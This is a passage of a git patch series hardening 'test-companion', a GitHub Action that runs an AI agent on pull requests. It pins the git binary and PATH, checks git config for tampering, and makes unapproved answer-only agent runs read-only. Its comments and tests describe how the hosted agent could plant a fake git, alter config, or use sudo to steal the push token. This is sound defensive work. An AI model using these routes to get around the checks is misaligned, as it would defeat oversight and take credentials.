candidates.find((p) => exists(p) && !canWrite(p)) +} + /** * The git config an ordinary `actions/checkout` leaves behind. Anything else * means the repository's config was changed after the checkout. diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index 523bf66..b134016 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -10,6 +10,7 @@ import { isSameRepo, pushCredentialEnv, unexpectedConfigKeys, + trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, pushUrlFor, @@ -466,7 +467,8 @@ describe("our own git commands must not carry secrets or run hooks", () => { test("what git actually needs survives", () => { const got = gitEnvFrom(dirty) - assert.equal(got.PATH, "/usr/bin") + // PATH is pinned rather than inherited — see the hijack test below. + assert.equal(got.PATH, "/usr/bin:/bin") assert.equal(got.HOME, "/home/runner") assert.equal(got.HTTPS_PROXY, "http://proxy:8080", "a push has to reach the network") }) @@ -483,7 +485,7 @@ describe("our own git commands must not carry secrets or run hooks", () => { assert.equal(got.SSH_ASKPASS, "") assert.equal(got.GIT_ATTR_NOSYSTEM, "1") // Nothing was inherited: every key is one we set deliberately. - assert.ok(Object.keys(got).every((k) => k.startsWith("GIT_") || k === "SSH_ASKPASS")) + assert.ok(Object.keys(got).every((k) => k.startsWith("GIT_") || k === "SSH_ASKPASS" || k === "PATH")) } }) @@ -645,3 +647,34 @@ describe("the credential travels in the environment, not in argv", () => { assert.deepEqual(pushCredentialEnv(undefined, undefined), {}) }) }) + +/** + * The agent writes to the runner as the same user we do, and several + * directories on the default PATH are writable by that user. A planted `git` + * earlier on PATH would be handed the installation token. + */ +describe("git itself must be the real git", () => { + const exists = (p) => ["/usr/bin/git", "/bin/git"].includes(p) + const notWritable = () => false + + test("an absolute, root-owned path is used, never a bare name", () => { + assert.equal(trustedGitPath({ exists, canWrite: notWritable }), "/usr/bin/git") + }) + + test("a candidate WE can write is not trusted — that is the hijack", () => { + const canWriteUsrBin = (p) => p === "/usr/bin/git" + assert.equal(trustedGitPath({ exists, canWrite: canWriteUsrBin }), "/bin/git") + }) + + test("nothing trustworthy means nothing, not a fallback to PATH", () => { + // A fallback to bare "git" would reintroduce exactly the hole this + // closes, so the caller is made to handle the absence instead. + assert.equal(trustedGitPath({ exists: () => false, canWrite: notWritable }), undefined) + assert.equal(trustedGitPath({ exists, canWrite: () => true }), undefined) + }) + + test("PATH is pinned, not inherited — a planted directory cannot come along", () => { + const got = gitEnvFrom({ PATH: "/home/runner/.local/bin:/usr/bin" }) + assert.equal(got.PATH, "/usr/bin:/bin") + }) +}) From 3522e2ef88d1821022ec9c09a2cc853442a901b4 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:00:46 +0530 Subject: [PATCH 07/18] docs: record what the pinned git binary does not survive Co-Authored-By: Claude Opus 5 --- test-companion/src/push-work.mjs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index d2ffcac..f92702e 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -363,6 +363,14 @@ export function gitEnvFrom(env = {}) { * "Sure of" means: it exists, and WE cannot write it. A binary this process * could overwrite is a binary the agent could have overwritten. * + * What this does NOT survive: on a GitHub-hosted runner the job's user has + * passwordless sudo, so an agent that chose to could replace /usr/bin/git + * itself and the replacement would pass this check. Nothing inside this + * process can close that — the same access reaches our own source, node, and + * the token in our memory. It closes with containment, by running the agent + * somewhere that does not also hold the token, or by moving the commit to a + * job that never shares a filesystem with it. Both are bigger than this file. + * * There is deliberately no fallback to the bare name. Falling back would * reinstate the hole on exactly the machines where it matters, so the caller * handles the absence instead — and for us that means skipping the commit, From c5dd7e3d342263bc9722f231b41f07940f8dbaeb Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:05:56 +0530 Subject: [PATCH 08/18] fix: an approved rca/fix/verdict lost the build it was meant to read "go" names no job, so the job comes from the proposal being approved. That assignment sat below the lookup that needs it, so asking worked and approving did not. Moved to where the workflow is final for both paths. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 61 ++++++++++++++++------------ test-companion/test/imports.test.mjs | 37 +++++++++++++++++ 2 files changed, 72 insertions(+), 26 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index f453a44..4401bcf 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -539,32 +539,6 @@ function main() { // by comment must not be a way around the repository's own settings. if (intent.workflow) plan.workflow = intent.workflow - // `rca`, `fix` and `verdict` need to know WHICH build failed. A - // build_failed trigger is handed the run; a COMMENT is not, so these - // three used to fail on the first comment with "Could not run" — while - // we advertise all three by name. - // - // The newest red run on this commit is what a person means by "the - // failure". Only looked up when the job needs it and the caller has - // not already said. - if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { - const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) - const failed = latestFailedRun(runs?.workflow_runs, { - selfRunId: env.GITHUB_RUN_ID, - selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, - }) - if (!failed) { - // Nothing red is an answer, not an error. - replyOnPr( - plan.context.pr, - `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, - ) - finishSkipped("nothing-failed", plan.workflow) - } - plan.context.build = failed - notice(`Test Companion: reading the failure from ${failed}`) - } - const bindings = bindingsDoc const binding = pickBinding(bindings, intent.workflow) @@ -679,6 +653,41 @@ function main() { // writes nothing, and its report is what the reviewer approves. if (proposing && CARRIES_A_PLAN.has(plan.workflow)) plan.context.propose_only = "true" if (gate.preview || intent.preview) plan.preview = true + + // THIS RUNS LAST, and it has to. + // + // `rca`, `fix` and `verdict` need to know WHICH build failed. A + // build_failed trigger is handed the run; a COMMENT is not, so these + // three used to fail on the first comment with "Could not run" — while + // we advertise all three by name. + // + // Last, because the workflow is not final until the approval handling + // above has run: "go" names no job, so the job comes from the proposal + // being approved. With this block higher up, asking for an rca worked + // and APPROVING it did not — the CLI was spawned with no build and + // refused it with `rca requires --context build=`. Live run + // 41048725625. + // + // The newest red run on this commit is what a person means by "the + // failure". Only looked up when the job needs it and the caller has + // not already said. + if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { + const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) + const failed = latestFailedRun(runs?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + if (!failed) { + // Nothing red is an answer, not an error. + replyOnPr( + plan.context.pr, + `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, + ) + finishSkipped("nothing-failed", plan.workflow) + } + plan.context.build = failed + notice(`Test Companion: reading the failure from ${failed}`) + } } // FR-13: no settings file means a clean pass and the file they need. Checked diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index 65d1948..dd58cc3 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -80,3 +80,40 @@ describe("every src module is reachable", () => { } }) }) + +/** + * Found by a live run, run 41048725625. Asking "@test-companion explain why + * the contract check is failing" worked: the Action found the red build and + * passed it to the CLI. Replying "go" to the proposal it put up did NOT — + * the CLI was spawned with no build at all and died with + * `rca requires --context build=`. + * + * The cause is pure ordering. `rca`, `fix` and `verdict` need to know which + * build failed, and the lookup is guarded by `NEEDS_A_BUILD.has(plan.workflow)`. + * On an approval, the workflow is not known from the comment — "go" names no + * job — it comes from the proposal we are approving, and that assignment sat + * BELOW the lookup. So the lookup ran against the wrong workflow, decided no + * build was needed, and the run broke at the last step of the feature. + * + * Ordering inside one long procedure is not something the pure modules can + * pin, so it is pinned here. + */ +describe("main.mjs — the failing build is resolved after the workflow is final", () => { + const at = (needle) => { + const i = main.indexOf(needle) + assert.notEqual(i, -1, `main.mjs no longer contains ${JSON.stringify(needle)}`) + return i + } + + test("the proposal pins the workflow BEFORE the build is looked up", () => { + assert.ok( + at("plan.workflow = waiting.workflow") < at("NEEDS_A_BUILD.has(plan.workflow)"), + "an approved rca/fix/verdict would be spawned with no build, and the CLI refuses it", + ) + }) + + test("there is exactly one build lookup, so the two paths cannot drift", () => { + const calls = main.split("NEEDS_A_BUILD.has(plan.workflow)").length - 1 + assert.equal(calls, 1, `found ${calls} build lookups; two copies will diverge`) + }) +}) From 50f1f46542f558a11919bf76feff7edba06418ee Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:10:52 +0530 Subject: [PATCH 09/18] fix: the config check was reading our own -c flags back as tampering `git config --list` includes command-line config, so the check reported every GIT_SAFE_ARGS key as unexpected and refused to save. `--local` fixes it; the arguments are now shared between the code and a real-git test that fails without them. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 5 ++-- test-companion/src/push-work.mjs | 17 +++++++++++- test-companion/test/push-work.test.mjs | 38 ++++++++++++++++++++++++++ 3 files changed, 56 insertions(+), 4 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 4401bcf..bf15cc8 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -57,6 +57,7 @@ import { pushCredentialEnv, pushUrlFor, unexpectedConfigKeys, + CONFIG_READ_ARGS, trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, @@ -974,9 +975,7 @@ function saveWork(saving, plan) { // // This runs before `git status`, because status can run a clean filter // itself — by the time we have a file list it is already too late. - // No --local: the environment has already shut out the system and global - // files, so this is the repository's own config plus any worktree config. - const unexpected = unexpectedConfigKeys(git(["config", "--list", "--name-only"]).raw) + const unexpected = unexpectedConfigKeys(git(CONFIG_READ_ARGS).raw) if (unexpected.length) { return [ `**Could not save this work to \`${branch}\`:** the repository's git config carries`, diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index f92702e..6f89f25 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -409,7 +409,22 @@ const EXPECTED_CONFIG = [ ] /** - * The keys in `git config --list --name-only` output that an ordinary + * How to read the repository's own config. + * + * `--local` is load-bearing: a bare `git config --list` also includes config + * given on the command line with `-c`, which is where all of GIT_SAFE_ARGS + * lives. Without it the check reads our own hardening back and calls it + * tampering — live run 41049398591 refused to save, listing fifteen keys we + * had passed ourselves. + * + * Worktree config needs no separate read: turning it on requires + * `extensions.worktreeConfig` in the local file, which is not an expected key, + * so a repository using it is refused by this same check. + */ +export const CONFIG_READ_ARGS = Object.freeze(["config", "--local", "--list", "--name-only"]) + +/** + * The keys in that output that an ordinary * checkout would not have written — empty when the config is as we left it. * * Fails closed by construction: an unknown key is unexpected. diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index b134016..da72a0e 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -1,5 +1,9 @@ import { test, describe } from "node:test" import assert from "node:assert/strict" +import { execFileSync } from "node:child_process" +import { mkdtempSync, rmSync } from "node:fs" +import { tmpdir } from "node:os" +import { join } from "node:path" import { shouldPushWork, changedPaths, @@ -10,6 +14,7 @@ import { isSameRepo, pushCredentialEnv, unexpectedConfigKeys, + CONFIG_READ_ARGS, trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, @@ -678,3 +683,36 @@ describe("git itself must be the real git", () => { assert.equal(got.PATH, "/usr/bin:/bin") }) }) + +/** + * Found by live run 41049398591, which refused to save with a list of + * fifteen "unexpected" keys — every one of them a flag WE pass in + * GIT_SAFE_ARGS. + * + * `git config --list` includes config given on the command line with `-c`. + * So the check read our own hardening back and reported it as tampering, + * which would have blocked every push the Action ever makes. + * + * This runs real git, because the bug was in what git returns, not in how + * the listing is parsed — a fixture would have agreed with the broken code. + */ +describe("the config check reads the repository, not our own flags", () => { + test("-c values do not come back as unexpected keys", () => { + const dir = mkdtempSync(join(tmpdir(), "tc-config-")) + try { + execFileSync("git", ["init", "-q", dir]) + const listing = execFileSync( + "git", + [...GIT_SAFE_ARGS, "-C", dir, ...CONFIG_READ_ARGS], + { encoding: "utf8", env: gitEnvFrom({}) }, + ) + assert.deepEqual( + unexpectedConfigKeys(listing), + [], + "a freshly initialised repository must be acceptable, with our own -c flags in play", + ) + } finally { + rmSync(dir, { recursive: true, force: true }) + } + }) +}) From 817ca5842dc2bb86fb6b10e7e9a367627caeef68 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:21:04 +0530 Subject: [PATCH 10/18] fix: a question asked in a pull request gets its answer in the pull request MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The agent's explanation was written to the result file only on a planning pass, so an rca answered into the void — the comment showed a table and no answer. And a read-only question had to be approved first, through a proposal that was empty because only test-pr writes a plan. Co-Authored-By: Claude Opus 5 --- test-companion/src/gate.mjs | 22 +++++++++++++++- test-companion/src/main.mjs | 24 ++++++++++++++++- test-companion/src/report.mjs | 9 +++++++ test-companion/test/gate.test.mjs | 34 ++++++++++++++++++++++++ test-companion/test/report.test.mjs | 41 +++++++++++++++++++++++++++++ 5 files changed, 128 insertions(+), 2 deletions(-) diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs index b4bf655..d363b88 100644 --- a/test-companion/src/gate.mjs +++ b/test-companion/src/gate.mjs @@ -38,7 +38,7 @@ const STRAIGHT_THROUGH = "straight-through" * the Go side: the cost of a needless proposal is one comment, and the cost of * the other mistake is an unreviewed run that writes. */ -export function decideGate({ intent, approval, proposal, actor } = {}) { +export function decideGate({ intent, approval, proposal, actor, workflow } = {}) { if (intent?.kind === INTENT.GO) { if (!proposal) return { action: GATE.NOTHING_TO_APPROVE } if (proposal.expired) return { action: GATE.EXPIRED } @@ -60,12 +60,32 @@ export function decideGate({ intent, approval, proposal, actor } = {}) { // would be asking permission to write nothing. if (intent?.preview) return { action: GATE.RUN, preview: true } + // The same reasoning, for a job that CANNOT write. `rca` and `verdict` + // produce an explanation and nothing else, so there is nothing for a + // reviewer to approve — and the proposal they got was literally empty, + // because only `test-pr` writes a plan to review. Asking "why did this + // fail?" cost two comments and answered on the second. + // + // The binding's own mode still applies: this decides whether to HOLD the + // run, not whether the run may write. + if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: false } + if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } // "review-before-run", and anything unrecognised, which fails closed here. return { action: GATE.PROPOSE, preview: true } } +/** + * Jobs that produce an explanation and no artefact. + * + * One list, used for three things: the gate below, whether the Action shows + * the answer in the comment, and — mirrored in + * cli/pkg/cli/commands/narrative.go — whether the CLI writes the answer to + * the result file at all. + */ +export const ANSWER_JOBS = new Set(["rca", "verdict"]) + /** FR-44's thresholds, both marked ASSUMPTION in the PRD. */ const MANY_FILES = 20 const MANY_LINES = 1000 diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index bf15cc8..d1619a1 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -17,7 +17,7 @@ import { tmpdir } from "node:os" import { planRun, contextArgs, withPullRequestHead, TC_EVENTS } from "./plan-run.mjs" import { readIntent, INTENT } from "./intent.mjs" import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "./runs.mjs" -import { decideGate, GATE, describeChangeSize } from "./gate.mjs" +import { decideGate, GATE, describeChangeSize, ANSWER_JOBS } from "./gate.mjs" import { mayAsk, describeTestRepoAccess } from "./access.mjs" import { findTicket } from "./ticket.mjs" import { childEnvFor } from "./child-env.mjs" @@ -78,6 +78,8 @@ const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") // the result. For a preview run — which refuses to save by design — this file // is the only place the generated cases survive (FR-20). const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") + + // The artifact the result is uploaded under, named here so the report can // point a reader at it by name. Must match the upload step in action.yml. const RESULT_ARTIFACT = "test-companion-result" @@ -582,6 +584,9 @@ function main() { approval: binding?.approval, proposal: waiting, actor: plan.commenter ?? plan.context.actor, + // Named by the comment when it named one, otherwise whatever the + // binding would run — the gate needs the job that will ACTUALLY run. + workflow: plan.workflow ?? binding?.workflow, }) if (gate.action === GATE.NOTHING_TO_APPROVE) { @@ -843,6 +848,15 @@ function main() { // Absent whenever the run generated nothing, which is most workflows. Its // presence is what tells the report there is something to point a reader at. const hasResult = existsSync(RESULT_FILE) + const readResult = () => { + try { + return readFileSync(RESULT_FILE, "utf8") + } catch { + // Best effort, exactly as the CLI treats writing it: a report we + // cannot read back is not worth failing a finished run over. + return undefined + } + } // FR-42: a configured write that could not happen is said out loud, naming // what is missing — a silent skip reads as "there was nothing to write". @@ -878,6 +892,14 @@ function main() { // same CLI version, which means showing it. cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, + // `rca` and `verdict` leave no artefact — their result file holds the + // agent's own closing words, and that IS what was asked for. Without + // this the comment was a table saying "Succeeded" with no answer in it + // (live run 41049398591). ANSWER_JOBS mirrors the CLI's own list in + // cli/pkg/cli/commands/narrative.go; a job missing there writes nothing + // to the file, so a mismatch shows up as an empty answer, never as + // someone else's output. + answer: hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined, failedTests, } // FR-43: a held request posts what it WOULD do and ends. The run that diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 8dae748..8bc0165 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -87,6 +87,7 @@ export function renderJobSummary({ resultArtifact, failedTests, approvalNote, + answer, workNote, extraChecks = [], warnings = [], @@ -141,6 +142,14 @@ export function renderJobSummary({ for (const [k, v] of rows) lines.push(`| ${k} | ${v} |`) lines.push("") + // For `rca` and `verdict` this IS the report — they produce no artefact, only + // an explanation. It goes directly under the table, above the run links, + // because it is the thing the person who commented actually asked for. + // Everything else leaves the view untouched: no answer, nothing rendered. + if (String(answer ?? "").trim()) { + lines.push(String(answer).trim(), "") + } + lines.push(...failureLines(failedTests)) lines.push(...producedLines(summary, resultArtifact)) diff --git a/test-companion/test/gate.test.mjs b/test-companion/test/gate.test.mjs index e6bec53..c40aa0a 100644 --- a/test-companion/test/gate.test.mjs +++ b/test-companion/test/gate.test.mjs @@ -141,3 +141,37 @@ describe("a very large change — FR-44", () => { assert.equal(describeChangeSize({}).large, false) }) }) + +/** + * Asking "why did this fail?" cost two comments and a round trip: the first + * run posted an empty proposal — empty because only `test-pr` has a plan to + * show — and the answer only came after someone replied "go". Seen on live + * runs 41048492170 and 41049253928. + * + * The gate exists to stop WRITES. `rca` and `verdict` produce an explanation + * and nothing else, which is the same reasoning already applied one line + * above for a preview that was asked for directly. + */ +describe("decideGate — a job that only answers does not ask permission first", () => { + const asked = { kind: INTENT.WORKFLOW } + + test("rca and verdict run straight away, even with approval required", () => { + for (const workflow of ["rca", "verdict"]) { + const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) + assert.equal(got.action, GATE.RUN, `${workflow} writes nothing; holding it asks permission to write nothing`) + } + }) + + test("everything that CAN write still waits", () => { + for (const workflow of ["generate", "fix", "test-pr", "automate", undefined]) { + const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) + assert.equal(got.action, GATE.PROPOSE, `${workflow} can write, so it must still be reviewed`) + } + }) + + test("an explicit preview request is still honoured for them", () => { + const got = decideGate({ intent: { kind: INTENT.WORKFLOW, preview: true }, approval: "review-before-run", workflow: "rca" }) + assert.equal(got.action, GATE.RUN) + assert.equal(got.preview, true, "asking for a preview must not be overridden by this") + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index f0376c0..64a6b4e 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -855,3 +855,44 @@ describe("a proposal for a job that writes no plan file", () => { assert.match(out, /nothing here to approve/) }) }) + +/** + * Live run 41049398591. Someone asked "@test-companion explain why the + * contract check is failing". The agent answered — "CI failure analysis from + * a run link is not enabled for your account yet. Please reach out to support + * to get access." — and the pull request comment showed a table saying + * "Succeeded" and not one word of it. + * + * For `rca` and `verdict` the answer is the whole product. A reply that does + * not contain the reply is not a reply. + */ +describe("renderJobSummary — the answer is the report, for jobs that only answer", () => { + const base = { workflow: "rca", outcome: "Succeeded", summary: { event: "pr_comment", duration: "28s" } } + + test("the answer is shown, above the links rather than under them", () => { + const out = renderJobSummary({ + ...base, + runUrl: "https://github.com/acme/shop/actions/runs/1", + answer: "The contract check fails because a negative credit is accepted.", + }) + assert.match(out, /negative credit is accepted/) + assert.ok( + out.indexOf("negative credit") < out.indexOf("https://github.com/acme/shop/actions/runs/1"), + "an answer below the run link is an answer nobody reads", + ) + }) + + test("no answer changes nothing — every other job still reports as it did", () => { + const without = renderJobSummary(base) + assert.equal(renderJobSummary({ ...base, answer: "" }), without) + assert.equal(renderJobSummary({ ...base, answer: " " }), without) + assert.equal(renderJobSummary({ ...base, answer: undefined }), without) + }) + + test("the answer is quoted as prose, not squeezed into the table", () => { + const out = renderJobSummary({ ...base, answer: "Line one.\n\nLine two." }) + assert.match(out, /Line one\./) + assert.match(out, /Line two\./) + assert.ok(!/\| Line one/.test(out), "the answer must not land inside the table") + }) +}) From 8f54b7cd52254bba72199fadac677d68b3f84ac0 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:22:04 +0530 Subject: [PATCH 11/18] fix: an unheld answer job runs in preview, not merely unheld Co-Authored-By: Claude Opus 5 --- test-companion/src/gate.mjs | 9 ++++++--- test-companion/test/gate.test.mjs | 3 +++ 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs index d363b88..4fd3cb0 100644 --- a/test-companion/src/gate.mjs +++ b/test-companion/src/gate.mjs @@ -66,9 +66,12 @@ export function decideGate({ intent, approval, proposal, actor, workflow } = {}) // because only `test-pr` writes a plan to review. Asking "why did this // fail?" cost two comments and answered on the second. // - // The binding's own mode still applies: this decides whether to HOLD the - // run, not whether the run may write. - if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: false } + // PREVIEW, not just unheld. Skipping the hold is only safe because the run + // cannot write, and that has to be made true rather than assumed: these + // jobs analyse, but they run with --yolo and a shell, and a binding set to + // `mode: live` would otherwise give an unapproved run write tools. + // Preview costs nothing here — an explanation is prose either way. + if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: true } if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } diff --git a/test-companion/test/gate.test.mjs b/test-companion/test/gate.test.mjs index c40aa0a..9bb41e6 100644 --- a/test-companion/test/gate.test.mjs +++ b/test-companion/test/gate.test.mjs @@ -159,6 +159,9 @@ describe("decideGate — a job that only answers does not ask permission first", for (const workflow of ["rca", "verdict"]) { const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) assert.equal(got.action, GATE.RUN, `${workflow} writes nothing; holding it asks permission to write nothing`) + // Skipping the hold is only safe because the run cannot write, so + // the run is MADE unable to write rather than assumed to be. + assert.equal(got.preview, true, `an unapproved ${workflow} must not get write tools`) } }) From bc2c3ea6603390680e6f1487916036d4482b7aae Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:57:02 +0530 Subject: [PATCH 12/18] fix: pin upload-artifact to a commit, escape the marker sha in one place Both from GitHub Advanced Security on this PR. The pinned tag is v4.6.2. The dynamic RegExp was already escaped by both callers; the escaping now lives in the helper, because an unescaped sha quietly matches OTHER commits rather than failing loudly. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 8 ++++++-- test-companion/src/report.mjs | 23 +++++++++++++++++------ test-companion/test/report.test.mjs | 25 +++++++++++++++++++++++++ 3 files changed, 48 insertions(+), 8 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index fa91e58..395e391 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -182,7 +182,9 @@ runs: - name: Attach the report if: always() && steps.run.outputs.summary-file != '' - uses: actions/upload-artifact@v4 + # v4.6.2, pinned to a commit: a tag can be repointed by its owner, + # and this step runs in the customer's job with the customer's token. + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 with: name: test-companion-report path: ${{ steps.run.outputs.summary-file }} @@ -194,7 +196,9 @@ runs: # work survives, so it is attached even when the run is about to go red. - name: Attach the generated test cases if: always() && steps.run.outputs.result-file != '' - uses: actions/upload-artifact@v4 + # v4.6.2, pinned to a commit: a tag can be repointed by its owner, + # and this step runs in the customer's job with the customer's token. + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 with: name: test-companion-result path: ${{ steps.run.outputs.result-file }} diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 8bc0165..f1e234b 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -270,11 +270,22 @@ export function proposalMarkerFor(sha, requester, workflow) { * Groups: 1 = requester, 2 = workflow. Both optional, so markers written * before either field existed stay readable. * - * Pass a literal sha to pin the search to one commit, or `([0-9a-f]+)` to - * match any and capture it. + * Pass a sha to pin the search to one commit, or ANY_SHA to match any and + * capture it. + * + * The escaping is done HERE, not by the caller. Both callers did it correctly, + * but "every caller remembers" is not a property you can check — and an + * unescaped sha does not fail loudly, it quietly matches other commits: + * `a.c*d+` would also find a proposal for `abcccd`. Semgrep flagged this as a + * ReDoS risk (browserstack/github-actions#91, finding 9); the matching bug + * underneath it was the one worth closing. */ -const markerPattern = (shaPattern) => - new RegExp(``) +const ANY_SHA = Symbol("any sha") + +const markerPattern = (sha) => + new RegExp( + ``, + ) /** Regex-escape, so a sha is matched literally. */ const escapeRe = (v) => String(v).replace(/[.*+?^${}()|[\]\\]/g, "\\$&") @@ -305,7 +316,7 @@ export function findProposal(comments, sha, now = Date.now()) { // stay approvable rather than becoming stuck. // `by=` and `workflow=` are both optional, so proposals written before // either was recorded stay approvable rather than becoming stuck. - const re = markerPattern(escapeRe(sha)) + const re = markerPattern(sha) const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && re.test(c.body ?? "")) if (ours.length === 0) return undefined const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) @@ -517,7 +528,7 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { export function findSupersededProposal(comments, sha) { const current = String(sha ?? "").trim() // Same pattern, sha as a group. Shared so the two cannot drift again. - const marker = markerPattern("([0-9a-f]+)") + const marker = markerPattern(ANY_SHA) const stale = (comments ?? []).filter((c) => { if (c?.user?.type !== "Bot") return false const found = marker.exec(c.body ?? "") diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 64a6b4e..95d9889 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -896,3 +896,28 @@ describe("renderJobSummary — the answer is the report, for jobs that only answ assert.ok(!/\| Line one/.test(out), "the answer must not land inside the table") }) }) + +/** + * Semgrep flagged `new RegExp(shaPattern)` as a possible ReDoS (finding 9 on + * browserstack/github-actions#91). Both callers already escaped, so the + * finding was a false positive — but it was only false because every caller + * remembered. These pin that it is now the helper's job, which is what makes + * the answer stay true. + */ +describe("a proposal marker search is built from literals, never from raw input", () => { + test("a sha with regex metacharacters matches itself and nothing else", () => { + const nasty = "a.c*d+" + const body = `` + assert.ok(findProposal([{ user: { type: "Bot" }, body, id: 1 }], nasty), "an escaped sha must still match itself") + // Unescaped, `a.c*d+` would also match "abcccd" — a proposal for another commit. + const other = "" + assert.equal(findProposal([{ user: { type: "Bot" }, body: other, id: 2 }], nasty), undefined) + }) + + test("a long run of repeats does not hang the search", () => { + // The shape ReDoS reports are about. Linear here, so it returns at once. + const started = Date.now() + findProposal([{ user: { type: "Bot" }, body: `/ -const markerPattern = (sha) => - new RegExp( - ``, - ) - -/** Regex-escape, so a sha is matched literally. */ -const escapeRe = (v) => String(v).replace(/[.*+?^${}()|[\]\\]/g, "\\$&") +/** The marker's fields, or undefined when the comment has none. */ +const readMarker = (body) => { + const found = MARKER.exec(String(body ?? "")) + return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined +} /** The proposal comment: what the run would do, and how to let it — FR-43. */ export function renderProposal(body, sha, requester, workflow) { @@ -316,18 +316,19 @@ export function findProposal(comments, sha, now = Date.now()) { // stay approvable rather than becoming stuck. // `by=` and `workflow=` are both optional, so proposals written before // either was recorded stay approvable rather than becoming stuck. - const re = markerPattern(sha) - const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && re.test(c.body ?? "")) + const want = String(sha ?? "").trim() + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && readMarker(c.body)?.sha === want) if (ours.length === 0) return undefined const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) const age = now - Date.parse(newest.created_at ?? "") + const mark = readMarker(newest.body) return { id: newest.id, expired: !(age <= PROPOSAL_WINDOW_MS), - requester: re.exec(newest.body ?? "")?.[1], + requester: mark?.requester, // The job the person actually read and approved. Undefined on a // proposal written before the marker carried one. - workflow: re.exec(newest.body ?? "")?.[2], + workflow: mark?.workflow, // The run has to READ the approved plan to carry it out (FR-43), so the // body travels with the decision rather than being fetched again. body: newest.body ?? "", @@ -527,19 +528,18 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { */ export function findSupersededProposal(comments, sha) { const current = String(sha ?? "").trim() - // Same pattern, sha as a group. Shared so the two cannot drift again. - const marker = 